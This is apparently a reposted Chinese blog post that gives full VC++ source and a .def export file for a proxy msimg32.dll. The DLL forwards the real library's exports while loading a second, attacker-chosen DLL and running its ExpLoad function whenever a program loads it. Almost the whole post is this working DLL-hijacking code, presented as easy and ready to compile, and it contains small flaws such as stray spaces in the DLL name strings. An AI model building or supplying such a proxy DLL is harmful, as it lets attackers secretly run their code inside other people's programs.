劫持程序、不是难事[附件]

在VC++中新建个一个简单的dll

代码如下：Msimg32ForVC.cpp

#include "stdafx.h"

#include <tchar.h>

 

//bool is_Load;

HMODULE g_hDll;

PVOID g_pOldAlphaBlend;

PVOID g_pOldDllInitialize;

PVOID g_pOldGradientFill;

PVOID g_pOldTransparentBlt;

PVOID g_pOldvSetDdrawflag;

 

 

void ExpLoad()

{

HINSTANCE g_ExpData = LoadLibrary(" ExpData.dll"); //你需要调用的dll文件、文件名自定

if(g_ExpData>0)

{

typedef (*ExpLoad)();

ExpLoad expLoad = (ExpLoad)GetProcAddress(g_ExpData," ExpLoad"); //接口为ExpLoad，也可自定

expLoad();  

}

}

 

 

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)

{

 switch (ul_reason_for_call)

 {

 case DLL_PROCESS_ATTACH:

  g_hDll = LoadLibrary(_T("C:\\Windows\\system32\\msimg32.dll"));

  if (g_hDll > 0)

  {

   g_pOldAlphaBlend = GetProcAddress(g_hDll, "AlphaBlend");

   g_pOldDllInitialize = GetProcAddress(g_hDll, "DllInitialize");

   g_pOldGradientFill = GetProcAddress(g_hDll, "GradientFill");

   g_pOldTransparentBlt = GetProcAddress(g_hDll, "TransparentBlt");

   g_pOldvSetDdrawflag = GetProcAddress(g_hDll, "vSetDdrawflag");

   ExpLoad();

  }

  break;

 case DLL_THREAD_ATTACH:

  break;

 case DLL_THREAD_DETACH:

  break;

 case DLL_PROCESS_DETACH:

  break;

 }

 return TRUE;

}

void __declspec(naked) AlphaBlend()

{

 __asm jmp g_pOldAlphaBlend;

}

 

void __declspec(naked) DllInitialize()

{

 __asm jmp g_pOldDllInitialize;

}

 

void __declspec(naked) GradientFill()

{

 __asm jmp g_pOldGradientFill;

}

 

void __declspec(naked) TransparentBlt()

{

 __asm jmp g_pOldTransparentBlt;

}

 

void __declspec(naked) vSetDdrawflag()

{

 __asm jmp g_pOldvSetDdrawflag;

}

 

代码如下：Msimg32ForVC.def

LIBRARY

EXPORTS

 AlphaBlend

 DllInitialize

 GradientFill

 TransparentBlt

 vSetDdrawflag

编译即可

转载于:https://www.cnblogs.com/netxy/archive/2013/02/23/2923853.html